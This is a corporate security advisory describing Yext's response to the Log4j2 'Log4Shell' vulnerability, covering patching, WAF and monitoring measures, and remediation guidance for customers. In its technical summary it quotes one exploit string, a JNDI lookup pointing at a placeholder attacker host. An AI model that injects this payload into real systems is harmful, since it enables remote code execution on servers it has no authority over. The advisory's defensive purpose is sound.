Log4j2 Security Vulnerability Status at Yext

On December 9th 2021, a critical vulnerability was disclosed for log4j, a library used for formatting logs in Java applications. This library is actively being used at Yext both in custom code and as a part of 3rd party software. As a part of our emergency response protocol, our teams have issued a patch to address the vulnerability on our own software. We believe this mitigates the demonstrated vulnerability. The following post walks through the technical details and other guidance information such as:

• Security vulnerability and resulting effects
• Impact Analysis and Remediation activity
• Customer guidance on isolation and mitigation

Executive Summary

• A critical vulnerability was disclosed for Log4j2, a library used for formatting logs in Java applications. This vulnerability is being tracked as CVE-2021-44228 & CVE-2021-45046.
• Yext response teams have issued the latest patch (2.16.0) on Tuesday, December 14th across all our impacted services to address this security risk.
• Exploits are available widely over the internet, and reports suggest that this vulnerability is being actively exploited.
• Log4j2 is actively being used at Yext both in custom code and as a part of 3rd party software, however the risk has been remediated.
• Initial investigation found no malicious activity in the Yext environment. We are closely monitoring the traffic and will keep our customers informed of any such activity.
• Yext Security response to events such as these are reinforced by our network and application level defenses such as anomaly detection and network based firewalls.

• In cases where upgrade or remediation is not possible, the behavior can be mitigated by setting the system property log4j2.formatMsgNoLookups to true by adding the following Java parameter:

  -Dlog4j2.formatMsgNoLookups=true
  

• While the risk for all Yext clients to this CVE has been mitigated for Yext-hosted services, we strongly encourage clients to ensure they are not exposed to incremental risk with Log4j use in their own environment or environments delivered by their 3rd party vendors. See customer guidance section below for more information.

Technical Summary

This vulnerability can allow threat actors the opportunity to take control of any Java-based, internet-facing server and engage in Remote Code Execution (RCE) attacks. Its being called “Log4Shell”, since its trivially easy to exploit and consists of a malformed Java Naming and Directory Interface (JNDI) request of the form ${jndi:ldap://attacker.com/file}.

From CVE-2021-44228: “An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.” The impact from this vulnerability is likely to be very widespread. There are already reports that threat actors are actively engaged in mass Internet scanning to identify servers vulnerable to exploitation. Many Open Source projects like the Minecraft server, Paper, have already begun patching their usage of log4j2.

Impact Analysis

Java-based Yext applications would have been vulnerable to a Remote Code Execution attack which could have been employed to tamper with external-facing aspects of Yext’s production services.

Due to network isolation, command-and-control services such as our CI pipelines were not at risk.

Mitigations Implemented

A temporary mitigation recommended by LunaSec was applied in the early morning of Friday, December 10th 2021. Detection mechanisms were also put in place to identify suspect log messages that may have been attempting to exploit the vulnerability.

Multiple other mitigations are in effect as of right now:

• Mitigation suggested by Apache has been deployed on Friday, Dec 10th,
• WAF rules on CloudFlare CDN have been implemented to block any malicious traffic,
• EDR signatures implemented in our networks have been enhanced to identify anomalous traffic patterns,
• Managed Detection and Response teams (3rd party) are on standby if/when there is a response needed,
• Firewall rules have been adjusted to block malicious IP addresses noted from our threat intelligence feeds,
• SIEM signatures have been applied and the team is on standby if/when there is a alert

Remediation Activity

The above mitigation has been replaced on Tuesday, December 14th 2021 with an upgrade to a newer version (2.16.0) of the log4j binary that applies the mitigating behavior by default. An additional measure was applied at our CDN/WAF to filter traffic that matched patterns applicable to the exploit.

Additional Monitoring

Monitoring infrastructure at Yext has been extended to include signatures, patterns and other filters to observe and filter for any Log4j exploit traffic. Intrusion detection, Endpoint Monitoring and SIEM tooling were configured to look for any suspicious activity and escalate any findings to both our internal response teams and our external Managed Detection and Response team for expedited remediation.

Additionally, we encourage our Bug Bounty community to proactively identify any entry points and attack vectors that could be used to exploit the Log4j vulnerability or anything adjacent.

Post Mortem Analysis

Our incident response process allowed us to move very quickly once the alarm had been raised. We will be exploring ways to tailor our practices specifically to vulnerability disclosures in the future, to raise the alarm automatically where possible.

Yext Guidance for Log4j remediation in customer environments (External to Yext)

Disclaimer: Yext doesn’t promote or endorse any providers or solutions as a part of this section, and should be treated as potential remediation steps only, that should be explored, tested, and validated by your engineering teams before executing.

Who is impacted?

Due to the nature of the vulnerability, a multitude of services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.

Anybody using Apache Struts is likely vulnerable. We’ve seen similar vulnerabilities exploited before in breaches like the 2017 Equifax data breach. This impacts all Java versions; JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 DO NOT seem to be affected by this LDAP attack – this is because these versions set com.sun.jndi.ldap.object.trustURLCodebase to false by default. However, even if not running a directly vulnerable Java version, there are known attack vectors involving third-party libraries.

Although the observed exploit attempts thus far have led to commodity cyptominer payloads, we expect further opportunistic abuse by extending additional vectors that could lead to ransomware and other sinister use cases; possibly by nation state adversaries.

Asset Inventory

First step is discovery of Log4j in your environment or extended environment (vendor and partner ecosystem) and this can be done in multiple ways.

• I suggest you go through your code repo, searching for “log4J”.
• If you find nothing, ALSO search using any sort of dependency tool – this could be dependencyGraph in GitHub, Snyk, SonaType, White source, etc.
• If you don’t have any of the recommended tools, you can use the OWASP dependency check tool, it’s free and open source.
• Additionally, reach out to your vendors and/or partners to assess the possible damage or impact their implementation of Log4j can have on your environment.

By now, you should have known if Log4j exists in your environment. If Yes, keep reading – if No, reach out to your security team and let them know you don’t have it. They will be happy to hear it.

Now make a list of all the places where Log4j may have been deployed, and mark it as “DEPLOYED” and for the ones where the Log4j has been observed but hasn’t been deployed, mark it as “DO NOT DEPLOY” and ensure you align your change management process to ensure its not deployed before patches are applied (more on this later).

Remediation

Most preferable and secure option is to upgrade all your Log4j services to the latest version of Log4j as described here.

If that is NOT possible for whatever reason, in releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Statement from Apache

Dealing with CVE-2021-44228 has shown that JNDI has significant security issues. While we have mitigated what we are aware of, it would be safer for users to completely disable it by default, especially since the large majority are unlikely to be using it. Those who are will need to specify -Dlog4j2.enableJndi=true or the environment variable form of it to use any JNDI components.

If the above options are not possible, use the following guidance as it applies to the use cases within your environment. The following guidance helps mitigate or apply short term controls and thus reducing the attack surface before deploying the permanent patches.

Isolate

• If you can, move impacted systems to a ‘dedicated VLAN’ to contain the impact.
• If not possible, review your firewall rules between impacted hosts and the rest of your fleet.
• Another option is to deploy a proxy firewall with deep packet inspection.

Mitigate

• If there are any Web Application Firewalls (such as Cloudflare, CloudFront), enable BLOCK policies.
• If they don’t exist out of box, reach out to the vendor. Here is an [example][mititage-example].
• Ensure policies on your Endpoint Detection and Response systems are deployed and protected for any malicious or suspicious requests. Please note this may cause some noise, but this will at least help with getting better coverage.

Monitor

• Identify any unusual traffic patterns within your network, especially look for web servers that INITIATE outbound connections.
• Keep close tabs on your change management process and trigger any alerts when any unauthorized changes are observed in the environment.

Frequently Asked Questions (FAQs)

Q: How has this incident impacted my account?

A: This incident has no impact on your account, our team wanted to share these details as it’s a very widespread issue impacting many software companies. We chose to proactively notify you to ensure you know there is no impact here at Yext.

Q: What actions, if any, need to be taken on my (client) end?

A: No actions need to be taken by clients at this time.

Q: What resources can I use to scan and identify Log4j assets in my environment?

A: Please use the below resources posted by the industry leaders in supply chain security. Yext doesn’t promote or endorse any of the following providers – this is meant for educational purposes only.

References